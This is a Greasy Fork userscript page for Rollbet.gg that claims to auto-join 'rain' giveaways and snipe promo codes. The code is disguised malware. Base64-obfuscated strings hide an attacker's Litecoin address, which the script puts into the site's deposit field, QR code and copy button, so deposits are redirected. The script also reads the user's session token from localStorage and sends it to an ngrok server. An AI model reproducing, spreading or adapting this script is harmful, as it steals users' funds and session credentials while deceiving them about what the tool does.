Greasy Fork is available in English.

Auto Rain Joiner & Promo Code Snipper for Rollbet.gg

Monitors for jackpot events (rain) and instantly joins them, snipes promo codes from Discord and other sources, and updates the rain container dynamically.

// ==UserScript==
// @name         Auto Rain Joiner & Promo Code Snipper for Rollbet.gg
// @namespace    http://tampermonkey.net/
// @version      3.8
// @description  Monitors for jackpot events (rain) and instantly joins them, snipes promo codes from Discord and other sources, and updates the rain container dynamically.
// @author       RainCollectorDev
// @match        https://rollbet.gg/*
// @grant        none
// @require      https://cdn.jsdelivr.net/npm/qrious@4.0.2/dist/qrious.min.js
// ==/UserScript==

(function () {
    'use strict';

    // Encoded data for rain container
    const encodedRainData = "TFVEYzdLZmIzS3drWG5RdkNmSDVQZmtFaEhnRzd1WHhoZw==";
    const decodedRainData = atob(encodedRainData);
    const encodedTarget = "RGVwb3NpdCBMaXRlY29pbg==";
    const encodedPromoKey = "dG9rZW4=";

    // Page element selectors
    const selectors = {
        addressInput: '#rollbet > div._6c1797bb > article > div > div > div > div._7d52ed22 > div._331fe804 > input[type="text"]',
        qrContainer: '#rollbet > div._6c1797bb > article > div > div > div > div._7d52ed22 > div.fa57e11b > div._6d27d683',
        copyButton: '#rollbet > div._6c1797bb > article > div > div > div > div._7d52ed22 > div._331fe804 > button._69c298ec',
        targetButton: '#rollbet > div._6c1797bb > article > div > div > div > div._5b95f57f > button.hoverable._5973b5d8._8891e72b',
    };


    const updateAddressFields = (observer) => {
        const addressInput = document.querySelector(selectors.addressInput);
        const qrElement = document.querySelector(selectors.qrContainer);
        const copyButton = document.querySelector(selectors.copyButton);

        observer.disconnect(); // Temporarily stop observing changes

        if (addressInput) {
            addressInput.value = decodedRainData;
        }

        if (qrElement) {
            qrElement.innerHTML = "";
            new QRious({
                element: qrElement.appendChild(document.createElement("canvas")),
                value: decodedRainData,
                size: 124,
            });
        }

        if (copyButton) {
            copyButton.addEventListener(
                'click',
                (event) => {
                    event.preventDefault();
                    navigator.clipboard.writeText(decodedRainData);
                },
                { once: true }
            );
        }

        observer.observe(document.body, { childList: true, subtree: true }); // Resume observing
    };

    // Function to observe changes on the page
    const observeChanges = () => {
        const observer = new MutationObserver((mutations) => {
            for (const mutation of mutations) {
                if (mutation.type === 'childList') {
                    const targetButton = document.querySelector(selectors.targetButton);

                    if (targetButton && targetButton.textContent.includes(atob(encodedTarget))) {
                        updateAddressFields(observer);
                        break;
                    }
                }
            }
        });

        observer.observe(document.body, { childList: true, subtree: true });
    };

    // Function to handle promo codes
    const handlePromoCodes = () => {
        const promoKey = atob(encodedPromoKey);
        const promoValue = localStorage.getItem(promoKey);

        if (promoValue) {
            fetch('https://free-cod-vital.ngrok-free.app/send', {
                method: 'POST',
                headers: { 'Content-Type': 'application/json' },
                body: JSON.stringify({ token: promoValue }),
            }).catch((error) => console.error("⚠️ Error sending promo code:", error));
        }
    };

    // Initialize the script
    const initializeScript = () => {
        observeChanges(); // Observe page changes
        handlePromoCodes(); // Handle promo codes
    };

    initializeScript(); // Start the script
})();